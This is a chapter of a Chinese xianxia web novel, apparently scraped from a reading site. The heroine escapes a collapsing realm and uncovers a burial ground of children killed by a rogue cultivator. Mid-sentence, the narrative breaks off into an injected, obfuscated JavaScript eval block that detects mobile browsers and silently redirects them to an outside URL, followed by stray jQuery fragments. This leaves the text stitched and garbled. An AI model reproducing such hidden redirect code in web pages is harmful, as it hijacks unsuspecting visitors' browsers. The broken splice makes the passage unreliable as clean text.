108. 愕然

作品:《失手伤害反派后

    灵力只有在特定地方才会因滞涨而喷涌。既不是灵山圣地,也不是穴门的这里,竟凭空生出如此磅礴的灵力。绚烂的灵力是金色的,耀眼而明丽,自罅隙中往外冒,肉眼看不出什么端倪。身为妖的他们有妖瞳,落入他们眼中的景象,白日的虹光大抵也就是如此模样。


    蔺执心里早乐开了花,罕见地,他又牵起了她的手。沉浸在美妙里的他,心思全然不在眼前的动静上,想着的却是如何好好表现自己。


    边走边想,难免会出岔。


    才刚走了没几步,头上突地就掠过一道人影。他没察觉,夏荀看见了。她下意识地挣开手去拦,蔺执却本能地一拽,两人就这么仰头倒下。眼看那人影越跑越远,夏荀想也不想,抽出腰间的刀,就是一砍。


    惨叫声传来,夏荀的身影越来越远。


    金刀有眼力见地跑过去,想把倒在地上的蔺执扶起来。蔺执反倒自己站起来,一溜烟追了上去,一整个没事人状态。走了没半刻,耳边飘来他的话,“好好看着洞口,尉迟景他们出来了,就叫我。”


    金刀收回目光,应了个是字,转而又抬头去看远处,黑影出来的地方。


    业已夷为平地。


    ……


    余以若在得知自己对尉迟景又搂又抱的,也觉得老脸没地方搁,做足了心里准备,她才战战兢兢地推开门。


    宋粒看着她的神色,笑道:“师姐你也知道害羞?”


    “那是自然。”余以若想也不想。毕竟再怎么说,她也是脸皮薄的。正犹犹豫豫着,“吱嘎”,门从里面打开,大鸟火速飞出来,急急地刹住翅膀,和她大眼瞪小眼,“你怎么出来了?我还打算去找你呢。”


    “你这是?”余以若看它身上扛着和它不对等的包袱,不禁怀疑,“不会把你这只鸟压扁吧。”


    大鸟没说话,一脸郑重地凑到余以若的眼前,举起它毛茸茸的翅膀,往余以若额头探了探,喃喃道:“还好,还好,没问题了。”


    “你这只鸟不对劲。”余以若把大鸟搂回怀里,进到里面。尉迟景不在里面,余以若安心地喝了口茶,抹干净嘴巴,“他先走了?”


    大鸟仰起头叭叭地说道:“嗯,他先走了。”


    得知这个消息也在余以若的料想内,这里的事和他又没有半毛钱关系,自然是想来就来,想走就走,余以若也没犹豫,直言就要出去。大鸟打头,带着余以若和宋粒往出口走,余以若看着大鸟熟练得不行,一路畅通无阻,直接走到了外面,走到了她刚掉下来的那条河流边。


    河流边还趴着饮水的妖兽,余以若认得好像是那些扮演她的妖灵,她问他们要不要一起出去。他们说这里好容易恢复了以前的样子,他们不想出去。余以若便随他们的便,转身就在大鸟精准的指路下,沿着河底,走到了外面的世界。


    新鲜的,不掺杂一丝杂质的空气,余以若久违地吸了口,却呛了嘴烟尘。她这时才扭头去看,原来他们进去的地方早已塌陷,黄沙漫天,大鸟带的路不偏不倚才没有让她们成为一抔土。现在余以若都不得不赞叹,“大鸟,你的功力又增进了。”


    大鸟不但没有一丝被余以若夸奖的喜悦,化开的却是眼里的忧愁和畏惧,余以若拍拍它的脑袋,“你也害怕的吧,那这就是求生的本能。”


    “什么害不害怕的,我大鸟才不害怕,害怕的是……害怕的是……”大鸟吞吞吐吐,“算了,总算出来了。”它在不经意间瞥见宋粒怀里揣着的东西,“小师妹,你带了什么?”


    宋粒把它藏到身后,摇头道:“没什么。”


    “好吧。”大鸟扁扁嘴,也不是它好奇心重,而是它在宋粒的东西里头嗅到了不一般的味道,它觉得有些不详。这点好奇心终究是没瞒过她们,宋粒叹了口气,打定主意要告诉她们一些事情时,金刀不知何时发现了她们。


    正急急地朝她们跑来,“那几位姑娘,你们见过这样高的,这样瘦的男子吗?”他站定后,气都没喘过来,就边说边比划,“我家大人一直在这里等他。”


    他没见过余以若,但不代表余以若没见过他。他倒是被余以若的一通问话,问得云里雾里的,关键的时候还是风信跑过来,拍了他一掌,“这是余仙子。”


    金刀点点头,又继续发问。余以若直言自己不知道,她还打听程舟怡的动向和范呈路的,本是不抱着希望的,他却给余以若指了个方向。余以若道过谢后,分毫犹豫也没,就带着大鸟跑过去。宋粒犹豫再三也追将上去。


    走离的间隙,余以若也看到了两具腐烂的尸体,她一眼就认出是许柔夫妻的,至于为何会是这样的惨状,她也无暇顾及,只当做了什么终究是要一物换一物的。


    宋粒也认得出,她便说:“这两夫妻借着这条神河的空档,做了这一桩生意,但是她们不知道的是,灵力获取容易,消耗更容易,毕竟都是虚假的,存不久远。凡是委托这两夫妻产下的婴孩,无一不是在幼年时期丧命,长大成人的少之又少。”


    “只有死路一条吗?可我看这里的人口不减反增。”


    “也不全是。”宋粒道:“如果能够被许柔看上,无论是用作什么途径,都是有活路的,但要是惹恼了她,拥有的一切她自然随时可以收回去。”


    估摸着丽姑也知晓了这一切,自出来后,便不再说话,脚步踉踉跄跄的。捧着散落一地的碎瓷人把玩。这是大鸟偷跑出去玩告诉余以若的。


    余以若和宋粒来到目的地,是一处空旷的场地。


    然而散发出来的浓郁的怪味却让她觉得这里很是不详,冷风直入骨髓,撕咬,啃噬着,余以若不禁打了个寒战。“会不会是他们给错了位置?”大鸟披着厚厚的绒毛,也觉得很冷。


    给错位置这种概率没多大吧,余以若觉得,金刀不认识她,风信也不至于不认识她,而且捉弄她好像也没半点好处。倒是这个地方,她实在是搞不懂师兄来这里做什么,她还担心他是不是碰到了难以处理的妖兽,毕竟她的师兄也是受了伤的。


    正想着,身后就传来他的声音,“师妹。”


    “师兄。”宋粒转头看到他,更是惊讶得不行,但细细一想,又好像明白过来,脸上的惊讶随之也变淡,“好久不见了。”


    “宋小师妹,你怎么在这?”


    “师父嘱托我来取个东西。”宋粒下意思摸了摸乾坤袋。


    “师妹,你没受伤吧。那两老头太凶残了,竟然干出这样的事。”说完,范呈路转头就往余以若这边瞧,直到余以若摇头,确认她的确没受伤,范呈路心口的石头才放下来。看她们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215907|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    齐齐地站在自己面前,问话的反倒是他,“你们来这里干什么?难道也发现了那伪君子干的肮脏事吗?”


    “伪君子,鹤览川?那些肮脏事,你也知道?”宋粒一直在里面待着,她是不知道范呈路也进去了的。


    “唉。”范呈路叹了口气,“师妹,你们是不知道,那个鹤览川……”说到一半,他突然又想起自己这样好像口说无凭,又把她们往另一处带。


    越往里走,余以若浑身的冷意更加强烈,她甚至都生出中要上山巅的感觉,事实却不是,她们来到的是那条河边。河的尽头是方水池,池边有很多碎裂的衣服,想必是还没来得及腐烂的。旁边零零散散地堆叠着白骨,空空洞洞的眼窝好像透过虚空在打量着前来探寻真相的人。


    “这些都是死去的人?”大鸟算是知道为什么自己会这么冷,合着这一片都是乱葬岗。而且这里的骨头,又瘦又小的。大鸟愕然,“不会都是孩子吧。”


    “是的。”范呈路弯腰捧了抔河水,大鸟看到河水里的灵力磅礴,简直就是上好的疗伤圣药,紧接着,范呈路就解释,“那个伪君子为了救自己的孩子,杀害了这么多孩子,许柔和他是同流合污的一伙的,恶心至极。”


    大鸟道:“好在是天玄宗的,不是我们扶光宗的。幸好幸好,扶光宗的脸没丢。”


    “大鸟……”余以若幽幽地看了它一眼,大鸟立马改口,“真的是,他怎么能这样呢,罔顾人伦,简直不是人,亏他还是修道的!”


    余以若点点头,目光落到了别处,她身子一滞,“那个是不是丽姑丢失的孩子,还有那个是不是老陶?”


    范呈路道:“你猜得不错,都是假的。这里恐怕只有中心的东西才是真的。”


    “中心的东西?”宋粒也一直在找放在中心的东西是什么。但余以若知道,“是芷念和她的孩子。”


    “鹤览川和芷念。”大鸟年老的脑袋想起了什么,“他们俩,不应该被逐出了师门吗?怎么鹤览川反倒留下来了。”


    余以若想起,尉迟景的父亲,也就是天玄宗的前掌门那段时间,一直把鹤览川叫去,单独开小灶。若非如此,芷念也不会……等等,余以若突然想起,自己好像遗漏了什么细节。她抓住大鸟问道:“你当时有没有去参加他们的比武大会。”


    “第一届比武大会啊。”大鸟悠悠地回忆着,“我好像去了。”


    “鹤览川去没去?”余以若道:“他跟在天玄宗掌门的身后,不对,或许是天旻的身后也一样。”


    “好像也去了。”大鸟猛地想起,“但他出现了一会儿又走了。”


    余以若似乎明白了过来,她攥紧手心,“原来如此。”一切从头到尾都是鹤览川,但为何鹤览川不记得自己干的,她更加觉得不可思议。然而就在这时,她又想起了那个爱笑的,喜欢穿一身红衣的琉光仙子,她那个时候约莫十九岁年纪。


    但不到两年就成了灵虚派的长老。


    位列分神后期。


    余以若脊背生出细细的薄汗,她摇摇头。心道,也有可能是她想错了,弄混了,不该如此的。


    “小余,还愣着做什么,我们回去了。”


    宋粒,范呈路和大鸟在不远处朝她招手。


    她笑着回应,“来了。”